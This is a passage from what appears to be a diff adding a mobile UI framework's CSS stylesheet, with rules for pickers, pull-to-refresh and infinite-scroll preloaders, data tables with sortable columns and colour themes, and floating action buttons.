transition: 300ms; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.picker-item { + height: 36px; + line-height: 36px; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + left: 0; + top: 0; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; +} +.picker-item span { + padding: 0 10px; +} +.picker-column-absolute .picker-item { + position: absolute; +} +.picker-item.picker-item-far { + pointer-events: none; +} +.picker-item.picker-item-selected { + -webkit-transform: translate3d(0, 0, 0) rotateX(0deg); + transform: translate3d(0, 0, 0) rotateX(0deg); +} +.picker-center-highlight { + height: 36px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + width: 100%; + top: 50%; + margin-top: -18px; + pointer-events: none; +} +.picker-3d .picker-columns { + overflow: hidden; + -webkit-perspective: 1200px; + perspective: 1200px; +} +.picker-3d .picker-column, +.picker-3d .picker-items, +.picker-3d .picker-item { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.picker-3d .picker-column { + overflow: visible; +} +.picker-3d .picker-item { + -webkit-transform-origin: center center -110px; + transform-origin: center center -110px; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.md .picker-popover .toolbar { + border-radius: 2px 2px 0 0; +} +.md .picker-columns { + font-size: 20px; +} +.md .picker-column-divider { + color: rgba(0, 0, 0, 0.87); +} +.md .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 48px); +} +.md .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.15); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .picker-column-divider { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .picker-center-highlight:before { + background-color: rgba(255, 255, 255, 0.15); +} +.md .theme-dark .picker-center-highlight:after { + background-color: rgba(255, 255, 255, 0.15); +} +/* === Infinite === */ +.infinite-scroll-preloader { + margin-left: auto; + margin-right: auto; + text-align: center; +} +.infinite-scroll-preloader.preloader { + display: block; +} +.md .infinite-scroll-preloader { + margin-top: 32px; + margin-bottom: 32px; +} +/* === PTR === */ +.ptr-preloader .preloader { + position: absolute; + left: 50%; +} +.md .ptr-preloader { + position: absolute; + left: 50%; + top: 16px; + width: 40px; + height: 40px; + border-radius: 50%; + background: #fff; + margin-left: -20px; + margin-top: -7px; + z-index: 100; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +@media (min-width: 768px) { + .md .ptr-preloader { + top: 24px; + } +} +.md .ptr-preloader .preloader { + width: 22px; + height: 22px; + margin-left: -11px; + margin-top: -11px; + top: 50%; + visibility: hidden; +} +.md .ptr-preloader .preloader .preloader-inner-gap, +.md .ptr-preloader .preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .ptr-arrow { + width: 22px; + height: 22px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 3px solid #757575; + position: absolute; + left: 50%; + top: 50%; + margin-left: -11px; + margin-top: -11px; + border-left-color: transparent; + border-radius: 50%; + opacity: 1; + -webkit-transform: rotate(150deg); + transform: rotate(150deg); +} +.md .ptr-arrow:after { + content: ''; + width: 0px; + height: 0px; + position: absolute; + left: -5px; + bottom: 0px; + border-bottom-width: 6px; + border-bottom-style: solid; + border-bottom-color: inherit; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + -webkit-transform: rotate(-40deg); + transform: rotate(-40deg); +} +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader, +.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader * { + -webkit-animation: none; + animation: none; +} +.md .ptr-refreshing .ptr-preloader .preloader, +.md .ptr-pull-up .ptr-preloader .preloader { + visibility: visible; +} +.md .ptr-refreshing .ptr-arrow, +.md .ptr-pull-up .ptr-arrow { + visibility: hidden; +} +.md .ptr-refreshing .ptr-preloader { + -webkit-transform: translate3d(0, 66px, 0); + transform: translate3d(0, 66px, 0); +} +.md .ptr-transitioning .ptr-arrow { + -webkit-transition: 300ms; + transition: 300ms; +} +.md .ptr-pull-up .ptr-arrow { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transform: rotate(620deg) !important; + transform: rotate(620deg) !important; + opacity: 0; +} +.md .ptr-transitioning .ptr-preloader, +.md .ptr-refreshing .ptr-preloader { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.md .ptr-no-navbar .ptr-preloader { + top: auto; + bottom: 100%; + margin-bottom: 7px; +} +.md .page-with-subnavbar .ptr-preloader, +.md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, +.md .searchbar ~ .ptr-content .ptr-preloader { + top: 64px; +} +@media (min-width: 768px) { + .md .page-with-subnavbar .ptr-preloader, + .md .toolbar:not(.toolbar-bottom-md) ~ .ptr-content .ptr-preloader, + .md .searchbar ~ .ptr-content .ptr-preloader { + top: 72px; + } +} +/* === Images Lazy Loading === */ +.lazy-loaded.lazy-fade-in { + -webkit-animation: lazyFadeIn 600ms; + animation: lazyFadeIn 600ms; +} +@-webkit-keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +/* === Data Table === */ +.data-table { + overflow-x: auto; +} +.data-table table { + width: 100%; + border: none; + padding: 0; + margin: 0; + border-collapse: collapse; + text-align: left; +} +.data-table thead { + font-size: 12px; +} +.data-table thead th, +.data-table thead td { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + line-height: 16px; +} +.data-table thead i.icon, +.data-table thead i.f7-icons, +.data-table thead i.material-icons { + vertical-align: top; +} +.data-table th, +.data-table td { + padding: 0; + position: relative; +} +.data-table th.numeric-cell, +.data-table td.numeric-cell { + text-align: right; +} +.data-table th.checkbox-cell, +.data-table td.checkbox-cell { + overflow: visible; +} +.data-table th.checkbox-cell label + span, +.data-table td.checkbox-cell label + span { + margin-left: 8px; +} +.data-table th.actions-cell, +.data-table td.actions-cell { + text-align: right; + white-space: nowrap; +} +.data-table th a.icon-only, +.data-table td a.icon-only, +.card .data-table th a.icon-only, +.card .data-table td a.icon-only, +.card.data-table th a.icon-only, +.card.data-table td a.icon-only { + display: inline-block; + vertical-align: middle; + text-align: center; + font-size: 0; + min-width: 0; +} +.data-table th a.icon-only i, +.data-table td a.icon-only i, +.card .data-table th a.icon-only i, +.card .data-table td a.icon-only i, +.card.data-table th a.icon-only i, +.card.data-table td a.icon-only i { + font-size: 18px; + vertical-align: middle; +} +.data-table .sortable-cell:not(.input-cell) { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell.input-cell .table-head-label { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + content: ''; + display: inline-block; + vertical-align: top; + width: 16px; + height: 16px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-size: 0; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 0; +} +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before { + opacity: 0.54; +} +.data-table .sortable-cell.sortable-cell-active:after, +.data-table .sortable-cell.sortable-cell-active .table-head-label:after, +.data-table .sortable-cell.sortable-cell-active:before, +.data-table .sortable-cell.sortable-cell-active .table-head-label:before { + opacity: 0.87 !important; +} +.data-table .sortable-cell.sortable-desc:after, +.data-table .sortable-cell.sortable-desc:after, +.data-table .table-head-label:after, +.data-table .sortable-cell.sortable-desc:before, +.data-table .sortable-cell.sortable-desc:before, +.data-table .table-head-label:before { + -webkit-transform: rotate(180deg) !important; + transform: rotate(180deg) !important; +} +.data-table.card .card-header, +.card .data-table .card-header { + height: 64px; +} +.data-table.card .card-content, +.card .data-table .card-content { + overflow-x: auto; +} +.data-table .data-table-links, +.data-table .data-table-actions { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-actions { + margin-left: auto; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.data-table .data-table-actions a.link { + min-width: 0; +} +.data-table .data-table-actions a.link.icon-only { + line-height: 1; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; +} +.data-table .data-table-header, +.data-table .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 100%; +} +.data-table .data-table-header-selected { + display: none; +} +.data-table.data-table-has-checked .data-table-header { + display: none; +} +.data-table.data-table-has-checked .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-title-selected { + font-size: 14px; +} +.data-table .data-table-footer { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 12px; + overflow: hidden; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.data-table .data-table-rows-select, +.data-table .data-table-pagination { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +@media (max-width: 480px) and (orientation: portrait) { + .data-table.data-table-collapsible thead { + display: none; + } + .data-table.data-table-collapsible tbody, + .data-table.data-table-collapsible tr, + .data-table.data-table-collapsible td { + display: block; + } + .data-table.data-table-collapsible tr { + position: relative; + } + .data-table.data-table-collapsible tr:hover { + background-color: inherit; + } + .data-table.data-table-collapsible td { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + text-align: left; + } + .data-table.data-table-collapsible td:before { + display: none !important; + } + .data-table.data-table-collapsible td:not(.checkbox-cell):before { + width: 40%; + display: block !important; + content: attr(data-collapsible-title); + position: relative; + height: auto; + background: none !important; + -webkit-transform: none !important; + transform: none !important; + font-size: 12px; + margin-right: 16px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + } + .data-table.data-table-collapsible td.checkbox-cell { + position: absolute; + top: 0; + left: 0; + } + .data-table.data-table-collapsible td.checkbox-cell + td { + padding-left: 16px; + } + .data-table.data-table-collapsible td.checkbox-cell ~ td { + margin-left: 32px; + } +} +.data-table .tablet-only, +.data-table .tablet-landscape-only { + display: none; +} +@media (min-width: 768px) { + .data-table .tablet-only { + display: table-cell; + } +} +@media (min-width: 768px) and (orientation: landscape) { + .data-table .tablet-landscape-only { + display: table-cell; + } +} +.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.theme-dark .data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E"); +} +.md .data-table thead th, +.md .data-table thead td { + font-weight: 500; + height: 56px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .data-table thead th:not(.sortable-cell-active), +.md .data-table thead td:not(.sortable-cell-active) { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table thead i.icon, +.md .data-table thead i.material-icons { + font-size: 16px; + width: 16px; + height: 16px; +} +.md .data-table tbody { + font-size: 13px; +} +.md .data-table tbody tr.data-table-row-selected { + background: #f5f5f5; +} +.md .data-table tbody td { + height: 48px; +} +.md .data-table th, +.md .data-table td { + padding-left: 28px; + padding-right: 28px; +} +.md .data-table th.label-cell, +.md .data-table td.label-cell { + padding-left: 24px; + padding-right: 24px; +} +.md .data-table th:first-child, +.md .data-table td:first-child { + padding-left: 24px; +} +.md .data-table th:last-child, +.md .data-table td:last-child { + padding-right: 24px; +} +.md .data-table th.checkbox-cell, +.md .data-table td.checkbox-cell { + width: 18px; + padding-left: 24px; + padding-right: 12px; +} +.md .data-table th.checkbox-cell + td, +.md .data-table td.checkbox-cell + td, +.md .data-table th.checkbox-cell + th, +.md .data-table td.checkbox-cell + th { + padding-left: 12px; +} +.md .data-table th.actions-cell a.link, +.md .data-table td.actions-cell a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table th.actions-cell a.link + a.link, +.md .data-table td.actions-cell a.link + a.link { + margin-left: 24px; +} +.md .data-table th.actions-cell a.icon-only, +.md .data-table td.actions-cell a.icon-only { + width: 24px; + height: 24px; + line-height: 24px; +} +.md .sortable-cell:not(.numeric-cell):after { + margin-left: 8px; +} +.md .sortable-cell.numeric-cell:before { + margin-right: 8px; +} +.md .data-table.card .card-header, +.md .card .data-table .card-header, +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + padding-left: 24px; + padding-right: 14px; +} +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + height: 56px; +} +.md .data-table-title { + font-size: 20px; +} +.md .data-table-links a.link + a.link, +.md .data-table-actions a.link + a.link { + margin-left: 24px; +} +.md .data-table-actions a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-actions a.link.icon-only { + width: 24px; + height: 24px; + overflow: visible; +} +.md .data-table-actions a.link.icon-only.active-state { + background: none; +} +.md .data-table .card-header > .data-table-header, +.md .data-table .card-header > .data-table-header-selected { + padding-left: 24px; + padding-right: 14px; + margin-left: -24px; + margin-right: -14px; + padding-top: 4px; + padding-bottom: 4px; + height: 100%; +} +.md .data-table-header-selected { + background: rgba(33, 150, 243, 0.1); +} +.md .data-table-title-selected { + color: #2196f3; +} +.md .data-table tbody td:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-desktop .data-table tbody tr:hover { + background: #f5f5f5; +} +.md .data-table-footer { + height: 56px; + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-rows-select a.link, +.md .data-table-pagination a.link { + width: 48px; + height: 48px; +} +.md .data-table-rows-select a.link:before, +.md .data-table-pagination a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .data-table-rows-select a.link.active-state:before, +.md .data-table-pagination a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .data-table-rows-select + .data-table-pagination { + margin-left: 32px; +} +.md .data-table-rows-select .input { + margin-left: 24px; +} +.md .data-table-pagination-label { + margin-right: 20px; +} +.md .data-table-footer:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.md .input-cell .table-head-label + .input { + margin-top: 4px; +} +.md .input-cell .input { + height: 24px; +} +.md .input-cell .input input, +.md .input-cell .input textarea, +.md .input-cell .input select { + height: 24px; + color: #212121; + font-size: 14px; +} +.md .input-cell .input .input-clear-button { + -webkit-transform: scale(0.8); + transform: scale(0.8); +} +@media (max-width: 480px) and (orientation: portrait) { + .md .data-table.data-table-collapsible td { + padding-left: 16px; + padding-right: 16px; + } + .md .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: rgba(0, 0, 0, 0.54); + font-weight: 500; + line-height: 16px; + } + .md .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .md.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .md.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.md .theme-dark .data-table thead th:not(.sortable-cell-active), +.data-table.md .theme-dark thead th:not(.sortable-cell-active), +.md .theme-dark .data-table thead td:not(.sortable-cell-active), +.data-table.md .theme-dark thead td:not(.sortable-cell-active), +.md .theme-dark .data-table .data-table-actions a.link, +.data-table.md .theme-dark .data-table-actions a.link, +.md .theme-dark .data-table td.actions-cell a.link, +.data-table.md .theme-dark td.actions-cell a.link, +.md .theme-dark .data-table th.actions-cell a.link, +.data-table.md .theme-dark th.actions-cell a.link { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .data-table .data-table-links a.link:before, +.data-table.md .theme-dark .data-table-links a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .data-table .data-table-links a.link.active-state:before, +.data-table.md .theme-dark .data-table-links a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .data-table tbody td:before, +.data-table.md .theme-dark tbody td:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.md .theme-dark.data-table-collapsible tr:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.md .theme-dark tbody tr.data-table-row-selected { + background-color: rgba(255, 255, 255, 0.05); +} +.md.device-desktop .theme-dark .data-table tbody tr:hover, +.md.device-desktop .theme-dark.data-table tbody tr:hover { + background-color: rgba(255, 255, 255, 0.05); +} +.md .color-theme-red .data-table-header-selected, +.md .data-table-header-selected.color-red { + background: rgba(244, 67, 54, 0.1); +} +.md .color-theme-red .data-table-title-selected, +.md .color-red .data-table-title-selected { + color: #f44336; +} +.md .color-theme-green .data-table-header-selected, +.md .data-table-header-selected.color-green { + background: rgba(76, 175, 80, 0.1); +} +.md .color-theme-green .data-table-title-selected, +.md .color-green .data-table-title-selected { + color: #4caf50; +} +.md .color-theme-blue .data-table-header-selected, +.md .data-table-header-selected.color-blue { + background: rgba(33, 150, 243, 0.1); +} +.md .color-theme-blue .data-table-title-selected, +.md .color-blue .data-table-title-selected { + color: #2196f3; +} +.md .color-theme-pink .data-table-header-selected, +.md .data-table-header-selected.color-pink { + background: rgba(233, 30, 99, 0.1); +} +.md .color-theme-pink .data-table-title-selected, +.md .color-pink .data-table-title-selected { + color: #e91e63; +} +.md .color-theme-yellow .data-table-header-selected, +.md .data-table-header-selected.color-yellow { + background: rgba(255, 235, 59, 0.1); +} +.md .color-theme-yellow .data-table-title-selected, +.md .color-yellow .data-table-title-selected { + color: #ffeb3b; +} +.md .color-theme-orange .data-table-header-selected, +.md .data-table-header-selected.color-orange { + background: rgba(255, 152, 0, 0.1); +} +.md .color-theme-orange .data-table-title-selected, +.md .color-orange .data-table-title-selected { + color: #ff9800; +} +.md .color-theme-gray .data-table-header-selected, +.md .data-table-header-selected.color-gray { + background: rgba(158, 158, 158, 0.1); +} +.md .color-theme-gray .data-table-title-selected, +.md .color-gray .data-table-title-selected { + color: #9e9e9e; +} +.md .color-theme-white .data-table-header-selected, +.md .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.md .color-theme-white .data-table-title-selected, +.md .color-white .data-table-title-selected { + color: #ffffff; +} +.md .color-theme-black .data-table-header-selected, +.md .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.md .color-theme-black .data-table-title-selected, +.md .color-black .data-table-title-selected { + color: #000000; +} +/* === FAB === */ +.fab { + position: absolute; + z-index: 1500; +} +.fab > a, +.fab-buttons a { + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + overflow: hidden; + z-index: 1; +} +.fab > a i { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + -webkit-transition: 300ms; + transition: 300ms; +} +.fab > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + opacity: 0; +} +.fab[class*="fab-center"] { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); +} +.fab[class*="left-center"], +.fab[class*="right-center"] { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); +} +.fab[class*="center-center"] { + top: 50%; + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.fab div.fab-buttons a { + width: 40px; + height: 40px; +} +.fab-buttons { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + visibility: hidden; + pointer-events: none; + position: absolute; +} +.fab-buttons a { + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + opacity: 1; +} +.fab-opened .fab-buttons { + visibility: visible; + pointer-events: auto; +} +.fab-opened .fab-buttons a { + opacity: 1; + -webkit-transform: translate3d(0, 0px, 0) scale(1) !important; + transform: translate3d(0, 0px, 0) scale(1) !important; +} +.fab-opened .fab-buttons a:nth-child(2) { + -webkit-transition-delay: 50ms; + transition-delay: 50ms; +} +.fab-opened .fab-buttons a:nth-child(3) { + -webkit-transition-delay: 100ms; + transition-delay: 100ms; +} +.fab-opened .fab-buttons a:nth-child(4) { + -webkit-transition-delay: 150ms; + transition-delay: 150ms; +} +.fab-opened .fab-buttons a:nth-child(5) { + -webkit-transition-delay: 200ms; + transition-delay: 200ms; +} +.fab-opened .fab-buttons a:nth-child(6) { + -webkit-transition-delay: 250ms; + transition-delay: 250ms; +} +.fab-buttons-top, +.fab-buttons-bottom { + left: 50%; + width: 40px; + margin-left: -20px; +} +.fab-buttons-top { + bottom: 100%; + margin-bottom: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: reverse; + -webkit-flex-direction: column-reverse; + -ms-flex-direction: column-reverse; + flex-direction: column-reverse; +} +.fab-buttons-top a { + -webkit-transform: translate3d(0, 8px, 0) scale(0.3); + transform: translate3d(0, 8px, 0) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-top a + a { + margin-bottom: 16px; +} +.fab-buttons-bottom { + top: 100%; + margin-top: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.fab-buttons-bottom a { + -webkit-transform: translate3d(0, -8px, 0) scale(0.3); + transform: translate3d(0, -8px, 0) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-bottom a + a { + margin-top: 16px; +} +.fab-buttons-left, +.fab-buttons-right { + top: 50%; + height: 40px; + margin-top: -20px; +} +.fab-buttons-left { + right: 100%; + margin-right: 16px; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.fab-buttons-left a { + -webkit-transform: translate3d(8px, 0px, 0) scale(0.3); + transform: translate3d(8px, 0px, 0) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-buttons-left a + a { + margin-right: 16px; +} +.fab-buttons-right { + left: 100%; + margin-left: 16px; +} +.fab-buttons-right a { + -webkit-transform: translate3d(-8px, 0, 0) scale(0.3); + transform: translate3d(-8px, 0, 0) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-right a + a { + margin-left: 16px; +} +.fab-buttons-center { + left: 0%; + top: 0%; + width: 100%; + height: 100%; +} +.fab-buttons-center a { + position: absolute; +} +.fab-buttons-center a:nth-child(1) { + left: 50%; + margin-left: -20px; + bottom: 100%; + margin-bottom: 16px; + -webkit-transform: translateY(-8px) scale(0.3); + transform: translateY(-8px) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-center a:nth-child(2) { + left: 100%; + margin-top: -20px; + top: 50%; + margin-left: 16px; + -webkit-transform: translateX(-8px) scale(0.3); + transform: translateX(-8px) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-center a:nth-child(3) { + left: 50%; + margin-left: -20px; + top: 100%; + margin-top: 16px; + -webkit-transform: translateY(8px) scale(0.3); + transform: translateY(8px) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-center a:nth-child(4) { + right: 100%; + margin-top: -20px; + top: 50%; + margin-right: 16px; + -webkit-transform: translateX(8px) scale(0.3); + transform: translateX(8px) scale(0.3); + -webkit-transform-origin: right center; + 